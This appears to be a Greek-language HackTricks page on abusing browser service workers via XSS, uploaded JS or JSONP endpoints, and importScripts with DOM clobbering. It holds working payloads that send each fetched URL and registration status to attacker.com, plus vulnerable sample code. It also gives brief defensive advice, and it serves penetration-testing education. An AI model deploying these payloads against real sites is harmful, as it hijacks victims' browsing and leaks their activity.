Κατάχρηση Υπηρεσιών Εργαζομένων
Reading time: 6 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Ένας εργαζόμενος υπηρεσίας είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας δυνατότητες που δεν απαιτούν μια ιστοσελίδα ή αλληλεπίδραση χρήστη, ενισχύοντας έτσι τις δυνατότητες εκτός σύνδεσης και επεξεργασίας στο παρασκήνιο. Λεπτομερείς πληροφορίες σχετικά με τους εργαζόμενους υπηρεσίας μπορείτε να βρείτε εδώ. Εκμεταλλευόμενοι τους εργαζόμενους υπηρεσίας σε έναν ευάλωτο διαδικτυακό τομέα, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο στις αλληλεπιδράσεις του θύματος με όλες τις σελίδες εντός αυτού του τομέα.
Έλεγχος Υπαρχόντων Υπηρεσιών Εργαζομένων
Οι υπάρχοντες εργαζόμενοι υπηρεσίας μπορούν να ελεγχθούν στην ενότητα Υπηρεσίες Εργαζομένων της καρτέλας Εφαρμογή στα Εργαλεία Ανάπτυξης. Μια άλλη μέθοδος είναι η επίσκεψη στο chrome://serviceworker-internals για μια πιο λεπτομερή άποψη.
Ειδοποιήσεις Push
Οι άδειες ειδοποιήσεων push επηρεάζουν άμεσα την ικανότητα ενός εργαζόμενου υπηρεσίας να επικοινωνεί με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Εάν οι άδειες απορριφθούν, περιορίζει την ικανότητα του εργαζόμενου υπηρεσίας να θέτει μια συνεχόμενη απειλή. Αντίθετα, η χορήγηση αδειών αυξάνει τους κινδύνους ασφαλείας επιτρέποντας την παραλαβή και εκτέλεση πιθανών εκμεταλλεύσεων.
Δημιουργία Επίθεσης με Υπηρεσία Εργαζομένου
Για να εκμεταλλευτείτε αυτήν την ευπάθεια, πρέπει να βρείτε:
- Έναν τρόπο να ανεβάσετε αυθαίρετα αρχεία JS στον διακομιστή και μια XSS για να φορτώσετε τον εργαζόμενο υπηρεσίας του ανεβασμένου αρχείου JS
- Ένα ευάλωτο αίτημα JSONP όπου μπορείτε να χειριστείτε την έξοδο (με αυθαίρετο κώδικα JS) και μια XSS για να φορτώσετε το JSONP με ένα payload που θα φορτώσει έναν κακόβουλο εργαζόμενο υπηρεσίας.
Στο παρακάτω παράδειγμα θα παρουσιάσω έναν κώδικα για να καταχωρήσετε έναν νέο εργαζόμενο υπηρεσίας που θα ακούει το γεγονός fetch
και θα στέλνει στον διακομιστή των επιτιθέμενων κάθε URL που ανακτάται (αυτός είναι ο κώδικας που θα χρειαστεί να ανεβάσετε στον διακομιστή ή να φορτώσετε μέσω μιας ευάλωτης απάντησης JSONP):
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
Και αυτός είναι ο κώδικας που θα καταχωρήσει τον εργαζόμενο (ο κώδικας που θα πρέπει να είστε σε θέση να εκτελέσετε εκμεταλλευόμενοι μια XSS). Σε αυτή την περίπτωση, θα σταλεί ένα GET αίτημα στον διακομιστή των επιτιθέμενων γνωστοποιώντας αν η καταχώρηση του εργαζομένου υπηρεσίας ήταν επιτυχής ή όχι:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
Σε περίπτωση κατάχρησης ενός ευάλωτου JSONP endpoint, θα πρέπει να βάλετε την τιμή μέσα στο var sw
. Για παράδειγμα:
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"
Υπάρχει ένα C2 αφιερωμένο στην εκμετάλλευση των Service Workers που ονομάζεται Shadow Workers το οποίο θα είναι πολύ χρήσιμο για την κακή χρήση αυτών των ευπαθειών.
Η κατεύθυνση cache 24 ωρών περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή συμβιβασμένου service worker (SW) σε το πολύ 24 ώρες μετά από μια διόρθωση ευπάθειας XSS, υποθέτοντας ότι η κατάσταση του πελάτη είναι online. Για να ελαχιστοποιήσουν την ευπάθεια, οι διαχειριστές ιστότοπων μπορούν να μειώσουν τον Χρόνο Ζωής (TTL) του script SW. Οι προγραμματιστές συμβουλεύονται επίσης να δημιουργήσουν ένα service worker kill-switch για γρήγορη απενεργοποίηση.
Κακή χρήση του importScripts
σε ένα SW μέσω DOM Clobbering
Η συνάρτηση importScripts
που καλείται από έναν Service Worker μπορεί να εισάγει ένα script από διαφορετικό τομέα. Εάν αυτή η συνάρτηση κληθεί χρησιμοποιώντας μια παράμετρο που θα μπορούσε να τροποποιήσει ένας επιτιθέμενος, θα μπορούσε να εισάγει ένα JS script από τον τομέα του και να αποκτήσει XSS.
Αυτό παρακάμπτει ακόμη και τις προστασίες CSP.
Παράδειγμα ευάλωτου κώδικα:
- index.html
<script>
navigator.serviceWorker.register(
"/dom-invader/testcases/augmented-dom-import-scripts/sw.js" +
location.search
)
// attacker controls location.search
</script>
- sw.js
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker
Με DOM Clobbering
Για περισσότερες πληροφορίες σχετικά με το τι είναι το DOM Clobbering, ελέγξτε:
Εάν το URL/domain που χρησιμοποιεί το SW για να καλέσει importScripts
είναι μέσα σε ένα HTML στοιχείο, είναι δυνατό να το τροποποιήσετε μέσω του DOM Clobbering για να κάνετε το SW να φορτώσει ένα σενάριο από το δικό σας domain.
Για ένα παράδειγμα αυτού, ελέγξτε τον σύνδεσμο αναφοράς.
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.